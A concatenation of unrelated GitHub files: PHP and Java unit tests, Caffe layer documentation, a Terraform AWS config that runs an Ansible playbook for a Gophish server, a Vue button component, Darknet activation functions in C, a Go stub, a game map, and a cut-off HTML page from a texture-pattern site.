$this->storage->write($this->user); $this->session->expects($this->never()) ->method('read'); $result = $this->storage->read(); $this->assertSame($this->user, $result); } /** * Test delete * * @return void */ public function testDelete(): void { $this->session->expects($this->once()) ->method('delete') ->with('Auth.AuthUser'); $this->storage->delete(); } /** * Test redirectUrl() * * @return void */ public function redirectUrl(): void { $url = '/url'; $this->session->expects($this->once()) ->method('write') ->with('Auth.redirectUrl', $url); $this->storage->redirectUrl($url); $this->session->expects($this->once()) ->method('read') ->with('Auth.redirectUrl') ->will($this->returnValue($url)); $result = $this->storage->redirectUrl(); $this->assertSame($url, $result); $this->session->expects($this->once()) ->method('delete') ->with('Auth.redirectUrl'); $this->storage->redirectUrl(false); } }
{ "pile_set_name": "Github" }
--- title: Convolution Layer --- # Convolution Layer * Layer type: `Convolution` * [Doxygen Documentation](http://caffe.berkeleyvision.org/doxygen/classcaffe_1_1ConvolutionLayer.html) * Header: [`./include/caffe/layers/conv_layer.hpp`](https://github.com/BVLC/caffe/blob/master/include/caffe/layers/conv_layer.hpp) * CPU implementation: [`./src/caffe/layers/conv_layer.cpp`](https://github.com/BVLC/caffe/blob/master/src/caffe/layers/conv_layer.cpp) * CUDA GPU implementation: [`./src/caffe/layers/conv_layer.cu`](https://github.com/BVLC/caffe/blob/master/src/caffe/layers/conv_layer.cu) * Input - `n * c_i * h_i * w_i` * Output - `n * c_o * h_o * w_o`, where `h_o = (h_i + 2 * pad_h - kernel_h) / stride_h + 1` and `w_o` likewise. The `Convolution` layer convolves the input image with a set of learnable filters, each producing one feature map in the output image. ## Sample Sample (as seen in [`./models/bvlc_reference_caffenet/train_val.prototxt`](https://github.com/BVLC/caffe/blob/master/models/bvlc_reference_caffenet/train_val.prototxt)): layer { name: "conv1" type: "Convolution" bottom: "data" top: "conv1" # learning rate and decay multipliers for the filters param { lr_mult: 1 decay_mult: 1 } # learning rate and decay multipliers for the biases param { lr_mult: 2 decay_mult: 0 } convolution_param { num_output: 96 # learn 96 filters kernel_size: 11 # each filter is 11x11 stride: 4 # step 4 pixels between each filter application weight_filler { type: "gaussian" # initialize the filters from a Gaussian std: 0.01 # distribution with stdev 0.01 (default mean: 0) } bias_filler { type: "constant" # initialize the biases to zero (0) value: 0 } } } ## Parameters * Parameters (`ConvolutionParameter convolution_param`) - Required - `num_output` (`c_o`): the number of filters - `kernel_size` (or `kernel_h` and `kernel_w`): specifies height and width of each filter - Strongly Recommended - `weight_filler` [default `type: 'constant' value: 0`] - Optional - `bias_term` [default `true`]: specifies whether to learn and apply a set of additive biases to the filter outputs - `pad` (or `pad_h` and `pad_w`) [default 0]: specifies the number of pixels to (implicitly) add to each side of the input - `stride` (or `stride_h` and `stride_w`) [default 1]: specifies the intervals at which to apply the filters to the input - `group` (g) [default 1]: If g > 1, we restrict the connectivity of each filter to a subset of the input. Specifically, the input and output channels are separated into g groups, and the $$i$$th output group channels will be only connected to the $$i$$th input group channels. * From [`./src/caffe/proto/caffe.proto`](https://github.com/BVLC/caffe/blob/master/src/caffe/proto/caffe.proto)): {% highlight Protobuf %} {% include proto/ConvolutionParameter.txt %} {% endhighlight %}
{ "pile_set_name": "Github" }
# Provision a web server instance using Ubuntu on a # t2.micro node with an AWS Tag naming it "web-server" # Create web server resource "aws_instance" "web_server" { ami = data.aws_ami.ubuntu.id vpc_security_group_ids = ["${aws_security_group.web_server.id}"] instance_type = "t2.micro" key_name = var.ssh_key_name tags = { Name = "${terraform.workspace}" } # Save the public IP for testing provisioner "local-exec" { command = "echo ${aws_instance.web_server.public_ip} > public-ip.txt" } connection { user = "ubuntu" host = self.public_ip private_key = file("~/.ssh/id_rsa") } provisioner "local-exec" { command = <<EOT sleep 20; export ANSIBLE_HOST_KEY_CHECKING=False; ansible-playbook -u ${var.ansible_user} -i ${aws_instance.web_server.public_ip}, ../../ansible/gophish.yml -e uuid=${terraform.workspace} > /dev/tty EOT } }
{ "pile_set_name": "Github" }
package org.jsmpp.bean; import static org.testng.Assert.assertEquals; import org.testng.annotations.Test; /** * @author pmoerenhout */ public class RawDataCodingTest { @Test public void testAllRawDataCodings() { for (int i = 0; i < 256; i++) { byte expected = (byte) (0xff & i); RawDataCoding dataCoding = new RawDataCoding(expected); assertEquals(dataCoding.toByte(), expected); assertEquals(dataCoding, new RawDataCoding(expected)); } } }
{ "pile_set_name": "Github" }
<template> <button class="mint-button" :class="['mint-button--' + type, 'mint-button--' + size, { 'is-disabled': disabled, 'is-plain': plain }]" :disabled="disabled"> <span class="mint-button-icon" v-if="icon || $slots.icon"> <slot name="icon"> <i v-if="icon" class="mintui" :class="'mintui-' + icon"></i> </slot> </span> <label class="mint-button-text"><slot></slot></label> </button> </template> <script> if (process.env.NODE_ENV === 'component') { require('mint-ui/packages/font/style.css'); } /** * mt-header * @module components/button * @desc 按钮 * @param {string} [type=default] - 显示类型,接受 default, primary, danger * @param {boolean} [disabled=false] - 禁用 * @param {boolean} [plain=false] - 幽灵按钮 * @param {string} [size=normal] - 尺寸,接受 normal, small, large * @param {string} [icon] - 图标,提供 more, back,或者自定义的图标(传入不带前缀的图标类名,最后拼接成 .mintui-xxx) * @param {slot} - 显示文本 * @param {slot} [icon] 显示图标 * * @example * <mt-button size="large" icon="back" type="primary">按钮</mt-button> */ export default { name: 'mt-button', props: { icon: String, disabled: Boolean, plain: Boolean, type: { type: String, default: 'default', validator(value) { return [ 'default', 'danger', 'primary' ].indexOf(value) > -1; } }, size: { type: String, default: 'normal', validator(value) { return [ 'small', 'normal', 'large' ].indexOf(value) > -1; } } } }; </script> <style lang="css"> @import "../../../src/style/var.css"; @component-namespace mint { @component button { appearance: none; border-radius: 4px; border: 0; box-sizing: border-box; color: inherit; display: block; font-size: 18px; height: 41px; outline: 0; overflow: hidden; position: relative; text-align: center; &::after { background-color: #000; content: " "; opacity: 0; position: absolute 0 0 0 0; } &:not(.is-disabled):active::after { opacity: .4; } @descendent icon { vertical-align: middle; display: inline-block; } @modifier default { color: $button-default-color; background-color: $button-default-background-color; box-shadow: $button-default-box-shadow; @when plain { border: 1px solid $button-default-plain-color; background-color: transparent; box-shadow: none; color: $button-default-plain-color; } } @modifier primary { color: $button-primary-color; background-color: $button-primary-background-color; @when plain { border: 1px solid $button-primary-background-color; background-color: transparent; color: $button-primary-background-color; } } @modifier danger { color: $button-danger-color; background-color: $button-danger-background-color; @when plain { border: 1px solid $button-danger-background-color; background-color: transparent; color: $button-danger-background-color; } } @modifier large { display: block; width: 100%; } @modifier normal { display: inline-block; padding: 0 12px; } @modifier small { display: inline-block; font-size: 14px; padding: 0 12px; height: 33px; } @when disabled { opacity: .6; } } } </style>
{ "pile_set_name": "Github" }
/* * Copyright 2014 - 2020 Blazebit. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.blazebit.persistence.view.impl.update.flush; import com.blazebit.persistence.view.impl.entity.ViewToEntityMapper; import com.blazebit.persistence.view.impl.update.UpdateContext; /** * * @author Christian Beikov * @since 1.2.0 */ public class ViewTypeCascadeDeleter implements UnmappedAttributeCascadeDeleter { private final ViewToEntityMapper viewToEntityMapper; public ViewTypeCascadeDeleter(ViewToEntityMapper viewToEntityMapper) { this.viewToEntityMapper = viewToEntityMapper; } @Override public void removeById(UpdateContext context, Object id) { viewToEntityMapper.removeById(context, id); } @Override public void removeByOwnerId(UpdateContext context, Object ownerId) { throw new UnsupportedOperationException(); } @Override public String getAttributeValuePath() { throw new UnsupportedOperationException(); } @Override public boolean requiresDeleteCascadeAfterRemove() { throw new UnsupportedOperationException(); } @Override public UnmappedAttributeCascadeDeleter createFlusherWiseDeleter() { return this; } }
{ "pile_set_name": "Github" }
#include "activations.h" #include <math.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <float.h> char *get_activation_string(ACTIVATION a) { switch(a){ case LOGISTIC: return "logistic"; case LOGGY: return "loggy"; case RELU: return "relu"; case ELU: return "elu"; case SELU: return "selu"; case RELIE: return "relie"; case RAMP: return "ramp"; case LINEAR: return "linear"; case TANH: return "tanh"; case PLSE: return "plse"; case LEAKY: return "leaky"; case STAIR: return "stair"; case HARDTAN: return "hardtan"; case LHTAN: return "lhtan"; default: break; } return "relu"; } ACTIVATION get_activation(char *s) { if (strcmp(s, "logistic")==0) return LOGISTIC; if (strcmp(s, "swish") == 0) return SWISH; if (strcmp(s, "mish") == 0) return MISH; if (strcmp(s, "normalize_channels") == 0) return NORM_CHAN; if (strcmp(s, "normalize_channels_softmax") == 0) return NORM_CHAN_SOFTMAX; if (strcmp(s, "normalize_channels_softmax_maxval") == 0) return NORM_CHAN_SOFTMAX_MAXVAL; if (strcmp(s, "loggy")==0) return LOGGY; if (strcmp(s, "relu")==0) return RELU; if (strcmp(s, "relu6") == 0) return RELU6; if (strcmp(s, "elu")==0) return ELU; if (strcmp(s, "selu") == 0) return SELU; if (strcmp(s, "relie")==0) return RELIE; if (strcmp(s, "plse")==0) return PLSE; if (strcmp(s, "hardtan")==0) return HARDTAN; if (strcmp(s, "lhtan")==0) return LHTAN; if (strcmp(s, "linear")==0) return LINEAR; if (strcmp(s, "ramp")==0) return RAMP; if (strcmp(s, "leaky")==0) return LEAKY; if (strcmp(s, "tanh")==0) return TANH; if (strcmp(s, "stair")==0) return STAIR; fprintf(stderr, "Couldn't find activation function %s, going with ReLU\n", s); return RELU; } float activate(float x, ACTIVATION a) { switch(a){ case LINEAR: return linear_activate(x); case LOGISTIC: return logistic_activate(x); case LOGGY: return loggy_activate(x); case RELU: return relu_activate(x); case ELU: return elu_activate(x); case SELU: return selu_activate(x); case RELIE: return relie_activate(x); case RAMP: return ramp_activate(x); case LEAKY: return leaky_activate(x); case TANH: return tanh_activate(x); case PLSE: return plse_activate(x); case STAIR: return stair_activate(x); case HARDTAN: return hardtan_activate(x); case LHTAN: return lhtan_activate(x); } return 0; } void activate_array(float *x, const int n, const ACTIVATION a) { int i; if (a == LINEAR) {} else if (a == LEAKY) { #pragma omp parallel for for (i = 0; i < n; ++i) { x[i] = leaky_activate(x[i]); } } else if (a == LOGISTIC) { #pragma omp parallel for for (i = 0; i < n; ++i) { x[i] = logistic_activate(x[i]); } } else { for (i = 0; i < n; ++i) { x[i] = activate(x[i], a); } } } void activate_array_swish(float *x, const int n, float * output_sigmoid, float * output) { int i; #pragma omp parallel for for (i = 0; i < n; ++i) { float x_val = x[i]; float sigmoid = logistic_activate(x_val); output_sigmoid[i] = sigmoid; output[i] = x_val * sigmoid; } } // https://github.com/digantamisra98/Mish void activate_array_mish(float *x, const int n, float * activation_input, float * output) { const float MISH_THRESHOLD = 20; int i; #pragma omp parallel for for (i = 0; i < n; ++i) { float x_val = x[i]; activation_input[i] = x_val; // store value before activation output[i] = x_val * tanh_activate( softplus_activate(x_val, MISH_THRESHOLD) ); } } void activate_array_normalize_channels(float *x, const int n, int batch, int channels, int wh_step, float *output) { int size = n / channels; int i; #pragma omp parallel for for (i = 0; i < size; ++i) { int wh_i = i % wh_step; int b = i / wh_step; const float eps = 0.0001; if (i < size) { float sum = eps; int k; for (k = 0; k < channels; ++k) { float val = x[wh_i + k * wh_step + b*wh_step*channels]; if (val > 0) sum += val; } for (k = 0; k < channels; ++k) { float val = x[wh_i + k * wh_step + b*wh_step*channels]; if (val > 0) val = val / sum; else val = 0; output[wh_i + k * wh_step + b*wh_step*channels] = val; } } } } void activate_array_normalize_channels_softmax(float *x, const int n, int batch, int channels, int wh_step, float *output, int use_max_val) { int size = n / channels; int i; #pragma omp parallel for for (i = 0; i < size; ++i) { int wh_i = i % wh_step; int b = i / wh_step; const float eps = 0.0001; if (i < size) { float sum = eps; float max_val = -FLT_MAX; int k; if (use_max_val) { for (k = 0; k < channels; ++k) { float val = x[wh_i + k * wh_step + b*wh_step*channels]; if (val > max_val || k == 0) max_val = val; } } else max_val = 0; for (k = 0; k < channels; ++k) { float val = x[wh_i + k * wh_step + b*wh_step*channels]; sum += expf(val - max_val); } for (k = 0; k < channels; ++k) { float val = x[wh_i + k * wh_step + b*wh_step*channels]; val = expf(val - max_val) / sum; output[wh_i + k * wh_step + b*wh_step*channels] = val; } } } } void gradient_array_normalize_channels_softmax(float *x, const int n, int batch, int channels, int wh_step, float *delta) { int size = n / channels; int i; #pragma omp parallel for for (i = 0; i < size; ++i) { int wh_i = i % wh_step; int b = i / wh_step; if (i < size) { float grad = 0; int k; for (k = 0; k < channels; ++k) { const int index = wh_i + k * wh_step + b*wh_step*channels; float out = x[index]; float d = delta[index]; grad += out*d; } for (k = 0; k < channels; ++k) { const int index = wh_i + k * wh_step + b*wh_step*channels; float d = delta[index]; d = d * grad; delta[index] = d; } } } } void gradient_array_normalize_channels(float *x, const int n, int batch, int channels, int wh_step, float *delta) { int size = n / channels; int i; #pragma omp parallel for for (i = 0; i < size; ++i) { int wh_i = i % wh_step; int b = i / wh_step; if (i < size) { float grad = 0; int k; for (k = 0; k < channels; ++k) { const int index = wh_i + k * wh_step + b*wh_step*channels; float out = x[index]; float d = delta[index]; grad += out*d; } for (k = 0; k < channels; ++k) { const int index = wh_i + k * wh_step + b*wh_step*channels; if (x[index] > 0) { float d = delta[index]; d = d * grad; delta[index] = d; } } } } } float gradient(float x, ACTIVATION a) { switch(a){ case LINEAR: return linear_gradient(x); case LOGISTIC: return logistic_gradient(x); case LOGGY: return loggy_gradient(x); case RELU: return relu_gradient(x); case NORM_CHAN: //return relu_gradient(x); case NORM_CHAN_SOFTMAX_MAXVAL: //... case NORM_CHAN_SOFTMAX: printf(" Error: should be used custom NORM_CHAN or NORM_CHAN_SOFTMAX-function for gradient \n"); exit(0); return 0; case ELU: return elu_gradient(x); case SELU: return selu_gradient(x); case RELIE: return relie_gradient(x); case RAMP: return ramp_gradient(x); case LEAKY: return leaky_gradient(x); case TANH: return tanh_gradient(x); case PLSE: return plse_gradient(x); case STAIR: return stair_gradient(x); case HARDTAN: return hardtan_gradient(x); case LHTAN: return lhtan_gradient(x); } return 0; } void gradient_array(const float *x, const int n, const ACTIVATION a, float *delta) { int i; #pragma omp parallel for for(i = 0; i < n; ++i){ delta[i] *= gradient(x[i], a); } } // https://github.com/BVLC/caffe/blob/04ab089db018a292ae48d51732dd6c66766b36b6/src/caffe/layers/swish_layer.cpp#L54-L56 void gradient_array_swish(const float *x, const int n, const float * sigmoid, float * delta) { int i; #pragma omp parallel for for (i = 0; i < n; ++i) { float swish = x[i]; delta[i] *= swish + sigmoid[i]*(1 - swish); } } // https://github.com/digantamisra98/Mish void gradient_array_mish(const int n, const float * activation_input, float * delta) { int i; #pragma omp parallel for for (i = 0; i < n; ++i) { const float MISH_THRESHOLD = 20.0f; // implementation from TensorFlow: https://github.com/tensorflow/addons/commit/093cdfa85d334cbe19a37624c33198f3140109ed // implementation from Pytorch: https://github.com/thomasbrandon/mish-cuda/blob/master/csrc/mish.h#L26-L31 float inp = activation_input[i]; const float sp = softplus_activate(inp, MISH_THRESHOLD); const float grad_sp = 1 - exp(-sp); const float tsp = tanh(sp); const float grad_tsp = (1 - tsp*tsp) * grad_sp; const float grad = inp * grad_tsp + tsp; delta[i] *= grad; //float x = activation_input[i]; //float d = 2 * expf(x) + expf(2 * x) + 2; //float w = 4 * (x + 1) + 4 * expf(2 * x) + expf(3 * x) + expf(x)*(4 * x + 6); //float derivative = expf(x) * w / (d * d); //delta[i] *= derivative; } }
{ "pile_set_name": "Github" }
// +build !linux package netlink func GetNetNsIdByPid(pid int) (int, error) { return 0, ErrNotImplemented } func SetNetNsIdByPid(pid, nsid int) error { return ErrNotImplemented } func GetNetNsIdByFd(fd int) (int, error) { return 0, ErrNotImplemented } func SetNetNsIdByFd(fd, nsid int) error { return ErrNotImplemented }
{ "pile_set_name": "Github" }
---------....#......---------... .........#....#....#............ ...------#.G..#....#............ ..#......bbb...#...#............ ..#.G.E........#...#............ ..#.bbbb.......#....#........... ..#...........#.---..#....GG---. ..#..........#.......#....BB.... ..#..........#...G...#.......... ..#----...G.#....B..#..........G .......#.bb.#......#...........b .......#.....#.....BBBbbbBBBbbbb .......#......#.--.............. .......#.......#................ .......#.......#................ .......#.......#................ ...GEG.#......#..............B.B ..bbbb.#----.#.....BBBBBBBBBBB.B G........GG..#..G..........G.GEB B........BB..#..b..bbbbbbbbbbbbb ...........M.#.................. bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.1//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-2.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en-US" xmlns:fb="http://ogp.me/ns/fb#" ><head profile="http://gmpg.org/xfn/11"><link rel="stylesheet" type="text/css" href="http://subtlepatterns.subtlepatterns.netdna-cdn.com/wp-content/w3tc/min/c2d6fa8a.5b3e1a.css" media="all" /><script type="text/javascript">var _sf_startpt=(new Date()).getTime()</script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Subtle Patterns | Free textures for your next web project</title><link href="http://feeds.feedburner.com/SubtlePatterns" title="Subtle Patterns" type="application/rss+xml" rel="alternate"/><meta property="og:title" content="Subtle Patterns"/><meta property="og:type" content="website"/><meta property="og:url" content="http://www.subtlepatterns.com"/><meta property="og:image" content="http://www.subtlepatterns.com/fb_icon2.jpg"/><meta property="og:site_name" content="Subtle Patterns"/><meta property="fb:admins" content="876565056"/><meta property="og:description" content="Free high quality patterns for your next web project."/><meta name=”keywords” content=”Web design patterns, patterns, textures, web design resource, free patterns, free textures, photoshop pattern, subtle patterns, subtle textures, seamless pattern, subtle textures, seamless” /><script src="http://code.jquery.com/jquery-latest.min.js" type="text/javascript"></script><link rel="pingback" href="http://subtlepatterns.com/xmlrpc.php" /><script type="text/javascript"> (function(){ var bsa = document.createElement('script'); bsa.type = 'text/javascript'; bsa.async = true; bsa.src = '//s3.buysellads.com/ac/bsa.js'; (document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa); })(); </script><div id="adpack"><div id="bsap_1261948" class="bsarocks bsap_9f312e2fb58162a96d306fd3a9354e54"></div> <a href="http://adpacks.com" id="bsap_aplink">Ads via Ad Packs</a></div><link rel="alternate" type="application/rss+xml" title="Subtle Patterns &raquo; Feed" href="http://subtlepatterns.com/feed/" /><link rel="alternate" type="application/rss+xml" title="Subtle Patterns &raquo; Comments Feed" href="http://subtlepatterns.com/comments/feed/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://subtlepatterns.com/xmlrpc.php?rsd" /><link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://subtlepatterns.com/wp-includes/wlwmanifest.xml" /><meta name="generator" content="WordPress 3.5.1" /><style type="text/css"> .site-title { padding:20px 0 0; margin: 0; line-height:42px; } .site-description { padding: 0; line-height:15px; font-style:italic; } .site-title a:link, .site-title a:visited, .site-title a:hover, .site-title a:focus, .site-title a:active, .site-description { color:#; } </style><!--[if lt IE 7.]><script defer type="text/javascript" src="http://subtlepatterns.com/js/pngfix.js"></script><![endif]--><script type="text/javascript">/* CloudFlare analytics upgrade */ </script><script> $(document).ready(function(){ $('.download').bind('click', function(){ _gaq.push(['_trackEvent', 'button', 'download', $(this).attr("href")]); }) }) </script><script> function isRetina() { if ('devicePixelRatio' in window) { return window.devicePixelRatio > 1; } else if('matchMedia' in window) { return !matchMedia("(-moz-device-pixel-ratio:1.0)").matches } else { return false; } } var is_retina = isRetina(); function retinaImagePath(path) { if (is_retina) { // Split the file extension off the image path, // and put it back together with @2x before the extension. // "/path/to/image.png" => "/path/to/[email protected]" var path_segments = path.split('.'); var path_without_extension = path_segments.slice(0, (path_segments.length - 1)).join("."); var extension = path_segments[path_segments.length - 1]; var at_2x_path = path_without_extension + "_@2X." + extension; return at_2x_path; } else { return path; } } $.fn.getBgImage = function(callback) { var height = 0; var path = $(this).css('background-image').replace('url', '').replace('(', '').replace(')', '').replace('"', '').replace('"', ''); var tempImg = $('<img />'); tempImg.hide(); //hide image tempImg.bind('load', callback); $('body').append(tempImg); // add to DOM before </body> tempImg.attr('src', path); $('#tempImg').remove(); //remove from DOM }; $(document).ready(function(){ if (is_retina) { $('.patternpreview').each(function() { var $pattern_preview = $(this); $(this).getBgImage(function() { at_1x_image = $pattern_preview.css('background-image'); at_2x_image = retinaImagePath(at_1x_image); $pattern_preview.css('background-image', at_2x_image); var size_string = $(this).width() + 'px ' + $(this).height() + 'px'; $pattern_preview.css('background-size', size_string); }); }); } $('.preview').each(function(){ $(this).bind('click', function(e){ var default_background = 'url(http://subtlepatterns.com/images/bgnoise.png)'; var $preview = $(e.target).closest('.entry-content').find('.patternpreview'); var preview_background = $preview.css('background-image') // Turn on preview if($(this).text() == 'Preview'){ $('.preview').text('Preview') $(this).text('Stop preview') $('body').css('background', preview_background) if (is_retina) { $('body').css('background-size', $preview.css('background-size')); } if($(this).parents(".post").hasClass("tag-dark")) { $("body").addClass("dark-background"); } else { $('body').removeClass("dark-background"); } // Turn off preview }else if($(this).text() == 'Stop preview'){ console.log("Disable"); $(this).text('Preview'); $('body').css('background', default_background); if (is_retina) { $('body').css('background-size','') } $('body').removeClass("dark-background"); } }) }) }) </script><script type="text/javascript"> /* <![CDATA[ */ var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-117495-6']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); /* ]]> */ </script> </head><body class="home blog paged paged-27"><div id="header"><div class="inner-header"><div class="toplogo"> <a href="/">Subtle patterns</a></div><div id="topmenu"><div class="menu"><div class="menu-main-container"><ul id="menu-main" class="menu"><li id="menu-item-918" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-918"><a href="http://subtlepatterns.com/">Home</a></li><li id="menu-item-1350" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1350"><a href="http://subtlepatterns.com/snacks/">Snacks</a></li><li id="menu-item-1351" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1351"><a href="http://subtlepatterns.com/submitpattern/">Submit</a></li><li id="menu-item-1349" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1349"><a href="http://subtlepatterns.com/about/">About &#038; FAQ</a></li></ul></div></div></div><div id="submenu"><div id="topSearch"><div class="search"><form method="get" class="searchform" id="searchform-1" action="http://subtlepatterns.com/"><div> <input class="searchtext" type="text" name="s" id="searchtext-1" value="Tip: Search for light or dark" onfocus="if(this.value==this.defaultValue)this.value='';" onblur="if(this.value=='')this.value=this.defaultValue;" /> <input type="submit" class="searchsubmit" name="submit" id="searchsubmit-1" value="Search" /></div></form></div></div></div><ul id="socialbar"><li class="facebook"><a href="http://www.facebook.com/subtlepatterns">Facebook</a></li><li class="twitter"><a href="http://www.twitter.com/subtlepattern">Twitter</a></li><li class="rss"><a href="http://feeds.feedburner.com/SubtlePatterns">RSS</a></li></ul></div></div><div id="wrapper"><div id="container"><div id="content"><div id="view-toggle-wrapper"><div class="viewer-toggle-nav"> <span>View as</span><div class="menu-viewer-toggle-container"><ul id="menu-viewer-toggle" class="menu"><li id="menu-item-919" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-919"><a href="http://subtlepatterns.com">List</a></li><li id="menu-item-1352" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1352"><a href="http://subtlepatterns.com/thumbnail-view/">Thumbnails</a></li></ul></div></div><div id="pattern-counter"><div class="countertext">Counting 316 patterns.</div></div></div><div class="post-648 post type-post status-publish format-standard hentry category-patterns tag-dark loop" id="post-648"><div class="entry-content"><div class="entry-title"><h2><a href="http://subtlepatterns.com/crissxcross/" rel="bookmark" title="Permalink to crissXcross">crissXcross</a></h2></div><div class="entry-meta"><p>July 13, 2011</p></div><div class="patternpreview" style="background-image: url(http://subtlepatterns.com/patterns/crissXcross.png)"></div><p>Dark pattern with some nice diagonal stitched lines crossing over.</p><p>Made by Ashton.</p><p><a class="download" href="http://subtlepatterns.subtlepatterns.netdna-cdn.com/patterns/crissXcross.zip">Download</a></p><div id="preview-box"> <a class="preview" href="javascript://">Preview</a></div></div></div><div class="post-646 post type-post status-publish format-standard hentry category-patterns tag-light loop" id="post-646"><div class="entry-content"><div class="entry-title"><h2><a href="http://subtlepatterns.com/whitey/" rel="bookmark" title="Permalink to Whitey">Whitey</a></h2></div><div class="entry-meta"><p>July 13, 2011</p></div><div class="patternpreview" style="background-image: url(http://subtlepatterns.com/patterns/whitey.png)"></div><p>A white version of the very popular linen pattern.</p><p>Made by <a href="http://www.turkhitbox.com" target="_blank">Ant Ekşiler</a>.</p><p><a class="download" href="http://subtlepatterns.subtlepatterns.netdna-cdn.com/patterns/whitey.zip">Download</a></p><div id="preview-box"> <a class="preview" href="javascript://">Preview</a></div></div></div><div class="post-644 post type-post status-publish format-standard hentry category-uncategorized tag-light loop" id="post-644"><div class="entry-content"><div class="entry-title"><h2><a href="http://subtlepatterns.com/green-dust-scratches/" rel="bookmark" title="Permalink to Green Dust &amp; Scratches">Green Dust &#038; Scratches</a></h2></div><div class="entry-meta"><p>July 3, 2011</p></div><div class="patternpreview" style="background-image: url(http://subtlepatterns.com/patterns/green_dust_scratch.png)"></div><p>Snap! It&#8217;s a pattern, and it&#8217;s not grayscale! Of course you can always change the color in Photoshop.</p><p>Made by <a href="http://atlemo.com" target="_blank">Atle Mo</a>.</p><p><a class="download" href="http://subtlepatterns.subtlepatterns.netdna-cdn.com/patterns/green_dust_scratch.zip">Download</a></p><div id="preview-box"> <a class="preview" href="javascript://">Preview</a></div></div></div><div class="post-641 post type-post status-publish format-standard hentry category-patterns tag-dark loop" id="post-641"><div class="entry-content"><div class="entry-title"><h2><a href="http://subtlepatterns.com/carbon-fibre-v2/" rel="bookmark" title="Permalink to Carbon fibre v2">Carbon fibre v2</a></h2></div><div class="entry-meta"><p>July 2, 2011</p></div><div class="patternpreview" style="background-image: url(http://subtlepatterns.com/patterns/carbon_fibre_v2.png)"></div><p>One more updated pattern. Not really carbon fibre, but it&#8217;s the most popular pattern, so I&#8217;ll give you an extra choice.</p><p>Made by <a href="http://atlemo.com" target="_blank">Atle Mo</a>.</p><p><a class="download" href="http://subtlepatterns.subtlepatterns.netdna-cdn.com/patterns/carbon_fibre_v2.zip">Download</a></p><div id="preview-box"> <a class="preview" href="javascript://">Preview</a></div></div></div><div class="post-585 post type-post status-publish format-standard hentry category-patterns tag-dark loop" id="post-585"><div class="entry-content"><div class="entry-title"><h2><a href="http://subtlepatterns.com/black-linen-2/" rel="bookmark" title="Permalink to Black linen 2">Black linen 2</a></h2></div><div class="entry-meta"><p>July 1, 2011</p></div><div class="patternpreview" style="background-image: url(http://subtlepatterns.com/patterns/black_linen_v2.png)"></div><p>A new take on the black linen pattern. Softer this time.</p><p>Made by <a href="http://atlemo.com" target="_blank">Atle Mo</a>.</p><p><a class="download" href="http://subtlepatterns.subtlepatterns.netdna-cdn.com/patterns/black_linen_v2.zip">Download</a></p><div id="preview-box"> <a class="preview" href="javascript://">Preview</a></div></div></div><div class="post-573 post type-post status-publish format-standard hentry category-patterns category-uncategorized tag-dark loop" id="post-573"><div class="entry-content"><div class="entry-title"><h2><a href="http://subtlepatterns.com/darth-stripe/" rel="bookmark" title="Permalink to Rubber grip">Rubber grip</a></h2></div><div class="entry-meta"><p>June 29, 2011</p></div><div class="patternpreview" style="background-image: url(http://subtlepatterns.com/patterns/rubber_grip.png)"></div><p>A very slick dark rubber grip pattern, sort of like the grip on a camera.</p><p>Made by <a href="http://be.net/pixilated">Sinisha</a>.</p><p><a class="download" href="http://subtlepatterns.subtlepatterns.netdna-cdn.com/patterns/rubber_grip.zip">Download</a></p><div id="preview-box"> <a class="preview" href="javascript://">Preview</a></div></div></div><div class="post-581 post type-post status-publish format-standard hentry category-patterns category-uncategorized tag-dark loop" id="post-581"><div class="entry-content"><div class="entry-title"><h2><a href="http://subtlepatterns.com/darth-stripe-2/" rel="bookmark" title="Permalink to Darth Stripe">Darth Stripe</a></h2></div><div class="entry-meta"><p>June 29, 2011</p></div><div class="patternpreview" style="background-image: url(http://subtlepatterns.com/patterns/darth_stripe.png)"></div><p>Diagonal lines with a lot of texture to them.</p><p>Made by Ashton.</p><p><a class="download" href="http://subtlepatterns.subtlepatterns.netdna-cdn.com/patterns/darth_stripe.zip">Download</a></p><div id="preview-box"> <a class="preview" href="javascript://">Preview</a></div></div></div><div class="post-504 post type-post status-publish format-standard hentry category-patterns category-uncategorized tag-light loop" id="post-504"><div class="entry-content"><div class="entry-title"><h2><a href="http://subtlepatterns.com/subtle-orange-emboss/" rel="bookmark" title="Permalink to Subtle orange emboss">Subtle orange emboss</a></h2></div><div class="entry-meta"><p>June 28, 2011</p></div><div class="patternpreview" style="background-image: url(http://subtlepatterns.com/patterns/subtle_orange_emboss.png)"></div><p>A hint or orange color, and some crossed &#038; embossed lines.</p><p>Made by <a href="http://www.depcore.com" target="_blank">Adam Anlauf</a>.</p><p><a class="download" href="http://subtlepatterns.subtlepatterns.netdna-cdn.com/patterns/subtle_orange_emboss.zip">Download</a></p><div id="preview-box"> <a class="preview" href="javascript://">Preview</a></div></div></div><div class="post-502 post type-post status-publish format-standard hentry category-patterns category-uncategorized 